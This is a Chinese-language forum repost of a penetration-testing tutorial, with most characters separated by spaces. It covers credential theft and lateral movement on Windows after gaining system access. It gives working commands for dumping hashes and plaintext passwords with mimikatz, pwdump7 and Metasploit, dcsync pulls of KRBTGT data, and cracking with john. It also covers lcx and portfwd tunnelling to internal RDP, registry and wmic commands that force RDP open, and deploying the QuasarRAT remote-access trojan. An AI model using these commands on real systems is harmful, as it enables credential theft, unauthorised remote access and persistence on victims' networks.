搜索

[22214] 2021-08-03_Hash读取与端口转发

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2021-08-03_Hash读取与端口转发 H a s h 读 取 与 端 口 转 发 安 全 鸭   L e m o n S e c   2 0 2 1 - 0 8 - 0 3 H a s h 读 取 读 取 在 提 权 成 功 拿 到 s y s t e m 权 限 之 后 ， 下 一 步 就 应 该 为 内 网 渗 透 做 准 备 。 其 中 很 重 要 的 一 步 就 是 读 取 设 备 本 地 的 h a s h 值 。 工 具 读 取 h a s h 的 本 质 都 是 利 用 s y s t e m 权 限 去 读 取 W i n d o w s 的 S A M 文 件 。 在 W i n d o w s 2 0 1 2 版 本 以 下 ， 还 可 以 通 过 工 具 直 接 去 读 取 内 存 里 面 的 明 文 密 码 ， W i n d o w s   2 0 1 2 之 后 不 能 再 读 内 存 中 的 明 文 ， 只 能 用 m i m i a k a t z 等 工 具 读 取 h a s h 值 然 后 进 行 破 解 。 一 、 使 用 一 、 使 用 p w d u m p 7 获 取 获 取 h a s h p w d u m p 7 是 一 款 本 地 h a s h 读 取 工 具 ， 需 要 系 统 权 限 运 行 ， 直 接 在 C M D 命 令 窗 口 运 行 即 可 。 测 试 w i n 7 、 W i n 0 3 、 w i n d o w 0 8 均 可 读 取 h a s h 值 ： W i n 7 W i n d o w s 2 0 0 8 W i n d o w s 2 0 0 3 ： 拿 到 h a s h 直 接 破 解 ：
二 、 二 、 m i m i k a t z 抓 取 抓 取 h a s h m i m i k a t z 在 内 网 的 作 用 远 不 止 于 h a s h 读 取 ， 域 中 的 黄 金 、 白 银 票 据 伪 造 ， 权 限 维 持 都 可 以 通 过 它 完 成 等 。 这 里 只 介 绍 他 的 h a s h 读 取 功 能 ： m i m i k a t z 需 要 高 权 限 运 行 才 能 发 挥 ， 至 少 是 a d m i n i s t r a t o r 权 限   ， 抓 取 密 码 的 命 令 需 要 s y s t e m 权 限 1 . 抓 取 密 码 需 要 先 进 行 提 权 抓 取 密 码 需 要 先 进 行 提 权 2 . 抓 取 抓 取 h a s h 3 . m i m i k a t z 其 他 命 令 其 他 命 令 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / r e l e a s e s # 提 升 权 限 （ 从 a d m i n i s t r a t o r 提 升 到 s y s t e m ） p r i v i l e g e : : d e b u g # 获 取 当 前 在 线 用 户 的 明 文 密 码 （ 需 要 高 权 限 运 行 ） s e k u r l s a : : l o g o n p a s s w o r d s # 获 取 当 前 此 计 算 机 存 在 过 用 户 的 N T L M H A S H     l s a d u m p : : l s a   / p a t c h # 导 出 所 有 用 户 口 令   使 用 V o l u e   S h a d o w   C o p y 获 得 S Y S T E M 、 S A M 备 份 l s a d u m p : : s a m   S Y S T E M . h i v   # 通 过 内 存 文 件 获 取 口 令 s e k u r l s a : : m i n i d u m p   l s a s s . d m p
4 . p a s s . e x e 读 取 明 文 密 码 读 取 明 文 密 码 w i n d o w 2 0 0 8 用 g e t p a s s w o r d . e x e 三 、 三 、 M S F 抓 取 抓 取 h a s h M S F 在 w i n 7 以 下 系 统 可 以 直 接 抓 取 h a s h ， 0 7 以 上 要 绕 过 u a c 才 能 进 行 抓 取 ， 抓 取 h a s h 需 要 管 理 员 权 限 。 1 . h a s h d u m p 抓 取 抓 取 h a s h 并 破 解 并 破 解 将 得 到 的 h a s h 值 复 制 h a s h 到 新 文 件 利 用 j o h n 工 具 进 行 破 解 ： s e k u r l s a : : m i n i d u m p   l s a s s . d m p s e k u r l s a : : l o g o n P a s s w o r d s   f u l l # 拉 取   r d . a d s e c u r i t y . o r g   域 中 的   K R B T G T   用 户 帐 户 的 密 码 数 据 l s a d u m p : : d c s y n c   / d o m a i n : r d . a d s e c u r i t y . o r g   / u s e r : k r b t g t # 拉 取   l a b . a d s e c u r i t y . o r g   域 中   A D S D C 0 3   域 控 制 器 的 计 算 机 帐 户 的 密 码 数 据 l s a d u m p : : d c s y n c   / d o m a i n : l a b . a d s e c u r i t y . o r g   / u s e r : a d s d c 0 3 $ j o h n   a . h a s h #   破 解 h a s h
2 . s m a r t - h a s h d u m p 模 块 模 块 3 . M S F + m i m i k a t z 提 权 成 功 后 执 行 ： ① 抓 取 系 统 h a s h 值 u s e   w i n d o w s / g a t h e r / s m a r t _ h a s h d u m p s e t   s e s s i o n   x r u n # 查 看 权 限 g e t u i d # 尝 试 获 取 s y s t e m 权 限 ， 一 般 都 是 失 败 ， 可 利 用 溢 出 漏 洞 进 行 提 权 g e t s y s t e m   # 加 载 m i m i a k a t z l o a d   m i m i k a t z # 帮 助 h e l p   m i m i k a t z # 随 便 输 入 一 个 a 模 块 让 他 报 错 会 显 示 所 有 可 用 模 块 m i m i k a t z _ c o m m a n d   - f   a : :     # 查 看 指 定 模 块 使 用 方 法   m i m i k a t z _ c o m m a n d   - f   h a s h : : m s v  
② 抓 取 系 统 票 据 ③ 获 取 系 统 账 号 信 息 ④ 抓 取 h a s h ⑤ 查 看 系 统 进 程 k e r b e r o s   w d i g e s t m i m i k a t z _ c o m m a n d   - f   s a m d u m p : : h a s h e s m i m i k a t z _ c o m m a n d   - f   h a n d l e : : l i s t    
端 口 转 发 端 口 转 发 端 口 转 发 是 转 发 一 个 网 络 端 口 从 一 个 网 络 节 点 到 另 一 个 网 络 节 点 的 行 为 ， 拿 到 公 网 s h e l l 和 内 网 s h e l l 之 后 ， 无 法 直 接 接 入 目 标 内 网 ， 需 要 进 行 端 口 转 发 将 内 网 的 端 口 转 发 到 我 们 的 网 络 环 境 可 以 接 入 的 跳 板 机 上 面 从 而 进 行 连 接 ， 常 见 的 端 口 转 发 方 式 有 很 多 ， 例 如 l c x 工 具 转 发 ， n c 反 弹 ， s o c k e t 代 理 ，   s s h 隧 道 代 理 转 发 等 等 ， 这 里 暂 时 只 对 L C X 工 具 进 行 介 绍 ， 其 他 方 式 后 续 陆 续 讲 解 。 L C X 端 口 转 发 步 骤 如 下 ： L C X 端 口 转 发 端 口 转 发 1 . 本 地 监 听 本 地 监 听 实 战 情 况 下 这 里 的 I P 应 该 是 v p s 主 机 执 行 此 命 令 ， V P S 主 机 将 监 听 接 收 到 的 1 1 1 1 端 口 转 发 到 本 地 1 1 1 2 2 端 口 上 2 . 端 口 转 发 端 口 转 发 在 目 标 内 网 设 备 执 行 此 命 令 。 将 目 标 的 3 3 8 9 端 口 转 发 到 V P S 设 备 1 9 2 . 1 6 8 . 1 . 4 的 1 1 1 1 端 口 上 3 . 成 功 连 接 成 功 连 接 l c x . e x e   - l i s t e n   1 1 1 1   1 1 1 2 2 #   端 口 1 1 1 1 是 目 标 主 机 连 接 本 地 的 端 口 #   端 口 1 1 1 2 2 是 将 接 收 到 的 服 务 器 内 容 转 发 端 口 l c x . e x e   - s l a v e   1 9 2 . 1 6 8 . 1 . 4   1 1 1 1   1 2 7 . 0 . 0 . 1   3 3 8 9
4 . 远 程 连 接 远 程 连 接 我 们 已 经 将 目 标 内 网 的 3 3 8 9 转 口 转 发 到 1 9 2 . 1 6 8 . 1 . 4 的 1 1 1 2 2 端 口 上 ， 此 时 只 需 要 M s t s c   1 9 2 . 1 6 8 . 1 . 4 : 1 1 1 2 2 即 可 连 接 上 内 网 主 机 ： M S F 端 口 转 发 端 口 转 发 注 册 n g r o c k 账 号 ， 启 动 转 发 。 n g r o c k 使 用 方 法 ： M S F 配 合 N g r o c k 穿 透 内 网 1 . 建 立 会 话 建 立 会 话 。 测 试 n e t   s e r v i c e 权 限 也 可 以 转 发 端 口 2 . 端 口 转 发 端 口 转 发 项 目 地 址 ： h t t p s : / / w w w . n g r o k . c c / p o r t f w d   a d d   - l   1 1 3 3   - p   3 3 8 9   - r   1 2 7 . 0 . 0 . 1 # 将 目 标 3 3 8 9 转 发 到 本 地 的 1 1 3 3 端 口
3 . 远 程 连 接 远 程 连 接 其 他 其 他 在 远 程 连 接 时 总 会 遇 见 不 可 描 述 的 各 种 疑 难 杂 症 ， 记 录 如 下 ： 1 . 服 务 端 口 默 认 被 修 改 服 务 端 口 默 认 被 修 改 解 决 办 法 ① ： 解 决 办 法 ② ： r d e s k t o p   1 2 7 . 0 . 0 . 1 : 1 1 3 3 # 查 询 T e r m S e r v i c e 对 应 P I D 和 n e t s t a t 查 询 的 P I D 对 应 的 端 口 号 t a s k l i s t   / s v c n e t s t a t   - a n o   |   f i n d s t r   P I D # 读 取 注 册 表 查 询 终 端 端 口 P o r t N u m b e r 的 值 R E G   q u e r y   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r W i n S t a t i o n s R D P - T c p   / v   P o r t N u m b e r
备 注 ： 0 x d 3 d = h e x ( 3 3 8 9 ) 解 决 办 法 ③ ： n n m a p 探 测 ( m s - w b t - s e r v e r 服 务 ) 2 . 服 务 器 未 开 启 服 务 器 未 开 启 3 3 8 9 解 决 办 法 ： 强 开 3 3 8 9 3 . 服 务 器 网 络 环 境 处 于 内 网 服 务 器 网 络 环 境 处 于 内 网 ： 解 决 办 法 ： 端 口 转 发 4 . 防 护 验 证 规 则 防 护 验 证 规 则 / I P 或 计 算 机 名 或 计 算 机 名 ： 解 决 办 法 ： 找 I P / 计 算 机 名 白 名 单 。 如 果 真 遇 上 这 种 情 况 又 找 不 着 白 名 单 的 话 ， 在 3 3 8 9 这 一 块 算 是 交 代 了 ， 可 以 换 一 种 思 路 ， 上 远 控 ： Q u a s a r R A T 远 控 远 控 Q u a s a r 提 供 高 稳 定 性 和 简 单 易 用 的 用 户 界 界 面 ， 相 对 于 其 他 远 控 工 具 干 净 简 约 且 开 源 。 据 说 基 本 支 持 W i n d o w s 大 部 分 版 本 。 这 里 仅 作 简 单 的 使 用 方 法 介 绍 ， 不 到 万 不 得 已 不 建 议 上 远 控 。 1 . 生 成 生 成 p a y l o a d R E G   q u e r y   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r W i n S t a t i o n s R D P - T c p   / v   P o r t N u m b e r # 通 用 开 3 3 8 9 ： w m i c   R D T O G G L E   W H E R E   S e r v e r N a m e = ' % C O M P U T E R N A M E % '   c a l l   S e t A l l o w T S C o n n e c t i o n s   1 # F o r   W i n 2 0 0 3 & W i n 2 0 0 8 : R E G   A D D   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l "   " S e r v e r   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0 0 0 0 0 0 0 0   / f #   w i n 2 0 1 2 / w i n 0 8 通 用 ； w i n 7 前 两 条 适 用 。 w i n x p / w i n 0 3 未 测 验 权 限 需 要 r u n   a s   a d m i n i s t r a t o r : w m i c   / n a m e s p a c e : r o o t c i m v 2   e r m i n a l s e r v i c e s   p a t h   w i n 3 2 _ t e r m i n a l s e r v i c e s e t t i n g   w h e r e   ( _ _ C L A S S   ! =   " " )   c a l l   s e t a l l o w t s c o n n e c t i o n s   1 w m i c   / n a m e s p a c e : r o o t c i m v 2   e r m i n a l s e r v i c e s   p a t h   w i n 3 2 _ t s g e n e r a l s e t t i n g   w h e r e   ( T e r m i n a l N a m e   = ' R D P - T c p ' )   c a l l   s e t u s e r a u t h e n t i c a t i o n r e q u i r e d   1 r e g   a d d   " H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l   S e r v e r "   / v   f S i n g l e S e s s i o n P e r U s e r   / t   R E G _ D W O R D   / d   0   / f 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / q u a s a r / Q u a s a r R A T / r e l e a s e
2 . 开 启 监 听 开 启 监 听 3 . 靶 机 执 行 靶 机 执 行 p a y l o a d ， 返 回 会 话 ， 返 回 会 话 需 要 靶 机 支 持 d o t n e t 4 . 0 环 境 ， 且 使 用 管 理 员 权 限 运 行 p a y l o a d 。 4 . 为 所 欲 为 为 所 欲 为 反 弹 s h e l l 汇 总 渗 透 测 试 中 字 典 生 成 工 具 快 速 检 测 常 见 中 间 件 、 组 件 的 高 危 漏 洞
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理